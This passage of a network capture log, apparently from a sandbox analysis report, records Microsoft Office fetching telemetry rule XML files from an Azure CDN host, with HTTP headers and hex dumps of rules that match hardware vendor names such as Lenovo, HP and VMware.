T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
15	192.168.2.4	49770	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-31 06:15:02 UTC	192	OUT	GET /rules/rule120611v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-31 06:15:03 UTC	491	IN	HTTP/1.1 200 OK Date: Thu, 31 Oct 2024 06:15:02 GMT Content-Type: text/xml Content-Length: 415 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:56 GMT ETag: "0x8DC582B9F6F3512" x-ms-request-id: 633f9008-101e-00a2-3e9b-279f2e000000 x-ms-version: 2018-03-28 x-azure-ref: 20241031T061502Z-16849878b78g2m84h2v9sta29000000007z000000000g7yz x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-31 06:15:03 UTC	415	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 30 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 4c 6c 5d 5b 45 65 5d 5b 4e 6e 5d 5b 4f 6f 5d 5b 56 76 5d 5b 4f 6f 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120611" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120609" /> <SR T="2" R="([Ll][Ee][Nn][Oo][Vv][Oo])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="tru

Session ID	Source IP	Source Port	Destination IP	Destination Port
16	192.168.2.4	49769	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-31 06:15:02 UTC	192	OUT	GET /rules/rule120610v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-31 06:15:03 UTC	470	IN	HTTP/1.1 200 OK Date: Thu, 31 Oct 2024 06:15:03 GMT Content-Type: text/xml Content-Length: 474 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:46 GMT ETag: "0x8DC582B9964B277" x-ms-request-id: 7b93b929-d01e-0082-6676-27e489000000 x-ms-version: 2018-03-28 x-azure-ref: 20241031T061503Z-15b8d89586fvpb59307bn2rcac000000048g000000007nrz x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-31 06:15:03 UTC	474	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 30 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120610" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120609" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
17	192.168.2.4	49773	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-31 06:15:02 UTC	192	OUT	GET /rules/rule120613v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-31 06:15:03 UTC	491	IN	HTTP/1.1 200 OK Date: Thu, 31 Oct 2024 06:15:02 GMT Content-Type: text/xml Content-Length: 632 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:35 GMT ETag: "0x8DC582BB6E3779E" x-ms-request-id: 1f7bc680-101e-0065-6904-274088000000 x-ms-version: 2018-03-28 x-azure-ref: 20241031T061502Z-16849878b78p8hrf1se7fucxk800000009yg00000000dt42 x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-31 06:15:03 UTC	632	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 33 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 5e 28 5b 48 68 5d 5b 50 70 5d 28 5b 5e 45 5d 7c 24 29 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 33 22 20 52 3d 22 28 5b 48 68 5d 5b 45 65 5d 5b 57 77 5d 5b 4c 6c 5d 5b 45 65 5d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120613" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120611" /> <SR T="2" R="^([Hh][Pp]([^E]\|$))"> <S T="1" F="1" M="Ignore" /> </SR> <SR T="3" R="([Hh][Ee][Ww][Ll][Ee]

Session ID	Source IP	Source Port	Destination IP	Destination Port
18	192.168.2.4	49772	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-31 06:15:02 UTC	192	OUT	GET /rules/rule120614v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-31 06:15:03 UTC	491	IN	HTTP/1.1 200 OK Date: Thu, 31 Oct 2024 06:15:03 GMT Content-Type: text/xml Content-Length: 467 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:08 GMT ETag: "0x8DC582BA6C038BC" x-ms-request-id: e84b733d-701e-005c-1bb8-26bb94000000 x-ms-version: 2018-03-28 x-azure-ref: 20241031T061503Z-16849878b785dznd7xpawq9gcn0000000afg00000000de34 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-10-31 06:15:03 UTC	467	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 34 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120614" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120613" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
19	192.168.2.4	49775	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-31 06:15:03 UTC	192	OUT	GET /rules/rule120616v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-31 06:15:03 UTC	470	IN	HTTP/1.1 200 OK Date: Thu, 31 Oct 2024 06:15:03 GMT Content-Type: text/xml Content-Length: 486 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:29 GMT ETag: "0x8DC582BB344914B" x-ms-request-id: 0fe0dd21-c01e-0066-771c-26a1ec000000 x-ms-version: 2018-03-28 x-azure-ref: 20241031T061503Z-16849878b785dznd7xpawq9gcn0000000ae000000000gkhs x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-31 06:15:03 UTC	486	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 36 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120616" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120615" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
20	192.168.2.4	49774	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-31 06:15:03 UTC	192	OUT	GET /rules/rule120615v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-31 06:15:03 UTC	491	IN	HTTP/1.1 200 OK Date: Thu, 31 Oct 2024 06:15:03 GMT Content-Type: text/xml Content-Length: 407 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:42 GMT ETag: "0x8DC582BBAD04B7B" x-ms-request-id: 3c9c0adf-d01e-0028-0c96-257896000000 x-ms-version: 2018-03-28 x-azure-ref: 20241031T061503Z-16849878b78g2m84h2v9sta29000000008300000000050q7 x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-31 06:15:03 UTC	407	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 35 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 41 61 5d 5b 53 73 5d 5b 55 75 5d 5b 53 73 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d 0a 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120615" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120613" /> <SR T="2" R="([Aa][Ss][Uu][Ss])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true">

Session ID	Source IP	Source Port	Destination IP	Destination Port
21	192.168.2.4	49776	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-31 06:15:03 UTC	192	OUT	GET /rules/rule120617v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-31 06:15:03 UTC	470	IN	HTTP/1.1 200 OK Date: Thu, 31 Oct 2024 06:15:03 GMT Content-Type: text/xml Content-Length: 427 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:02 GMT ETag: "0x8DC582BA310DA18" x-ms-request-id: 6b0d144c-801e-007b-3a49-27e7ab000000 x-ms-version: 2018-03-28 x-azure-ref: 20241031T061503Z-16849878b785jrf8dn0d2rczaw0000000ad000000000021g x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-31 06:15:03 UTC	427	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 37 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 4d 6d 5d 5b 49 69 5d 5b 43 63 5d 5b 52 72 5d 5b 4f 6f 5d 5b 53 73 5d 5b 4f 6f 5d 5b 46 66 5d 5b 54 74 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120617" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120615" /> <SR T="2" R="([Mm][Ii][Cc][Rr][Oo][Ss][Oo][Ff][Tt])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W"

Session ID	Source IP	Source Port	Destination IP	Destination Port
22	192.168.2.4	49777	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-31 06:15:03 UTC	192	OUT	GET /rules/rule120618v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-31 06:15:03 UTC	470	IN	HTTP/1.1 200 OK Date: Thu, 31 Oct 2024 06:15:03 GMT Content-Type: text/xml Content-Length: 486 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:30 GMT ETag: "0x8DC582B9018290B" x-ms-request-id: c8022c20-501e-00a3-08ae-26c0f2000000 x-ms-version: 2018-03-28 x-azure-ref: 20241031T061503Z-16849878b786fl7gm2qg4r5y7000000009b000000000f0mp x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-31 06:15:03 UTC	486	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 38 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120618" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120617" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
23	192.168.2.4	49778	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-31 06:15:03 UTC	192	OUT	GET /rules/rule120619v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-31 06:15:04 UTC	470	IN	HTTP/1.1 200 OK Date: Thu, 31 Oct 2024 06:15:03 GMT Content-Type: text/xml Content-Length: 407 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:41 GMT ETag: "0x8DC582B9698189B" x-ms-request-id: d7faccb9-c01e-002b-307f-276e00000000 x-ms-version: 2018-03-28 x-azure-ref: 20241031T061503Z-16849878b7867ttgfbpnfxt44s00000008zg00000000ae1w x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-31 06:15:04 UTC	407	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 39 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 41 61 5d 5b 43 63 5d 5b 45 65 5d 5b 52 72 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d 0a 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120619" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120617" /> <SR T="2" R="([Aa][Cc][Ee][Rr])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true">

Session ID	Source IP	Source Port	Destination IP	Destination Port
24	192.168.2.4	49779	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-31 06:15:04 UTC	192	OUT	GET /rules/rule120620v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-31 06:15:04 UTC	470	IN	HTTP/1.1 200 OK Date: Thu, 31 Oct 2024 06:15:04 GMT Content-Type: text/xml Content-Length: 469 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:41 GMT ETag: "0x8DC582BBA701121" x-ms-request-id: 89d7e9f4-d01e-0066-46a8-2aea17000000 x-ms-version: 2018-03-28 x-azure-ref: 20241031T061504Z-16849878b78xblwksrnkakc08w00000008c000000000b86n x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-31 06:15:04 UTC	469	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120620" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120619" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
25	192.168.2.4	49780	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-31 06:15:04 UTC	192	OUT	GET /rules/rule120621v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-31 06:15:04 UTC	491	IN	HTTP/1.1 200 OK Date: Thu, 31 Oct 2024 06:15:04 GMT Content-Type: text/xml Content-Length: 415 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:03 GMT ETag: "0x8DC582BA41997E3" x-ms-request-id: 6484a1a6-201e-0000-75a3-26a537000000 x-ms-version: 2018-03-28 x-azure-ref: 20241031T061504Z-16849878b782d4lwcu6h6gmxnw00000008xg00000000015k x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-31 06:15:04 UTC	415	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 56 76 5d 5b 4d 6d 5d 5b 57 77 5d 5b 41 61 5d 5b 52 72 5d 5b 45 65 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120621" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120619" /> <SR T="2" R="([Vv][Mm][Ww][Aa][Rr][Ee])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="tru

Session ID	Source IP	Source Port	Destination IP	Destination Port
26	192.168.2.4	49782	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-31 06:15:04 UTC	192	OUT	GET /rules/rule120623v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-31 06:15:04 UTC	491	IN	HTTP/1.1 200 OK Date: Thu, 31 Oct 2024 06:15:04 GMT Content-Type: text/xml Content-Length: 464 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:43 GMT ETag: "0x8DC582B97FB6C3C" x-ms-request-id: 1a39e609-901e-0048-60a3-26b800000000 x-ms-version: 2018-03-28 x-azure-ref: 20241031T061504Z-16849878b78fkwcjkpn19c5dsn000000085g000000006qz6 x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-31 06:15:04 UTC	464	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 33 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 47 67 5d 5b 49 69 5d 5b 47 67 5d 5b 41 61 5d 5b 42 62 5d 5b 59 79 5d 5b 54 74 5d 5b 45 65 5d 20 5b 54 74 5d 5b 45 65 5d 5b 43 63 5d 5b 48 68 5d 5b 4e 6e 5d 5b 4f 6f 5d 5b 4c 6c 5d 5b 4f 6f 5d 5b 47 67 5d 5b 59 79 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 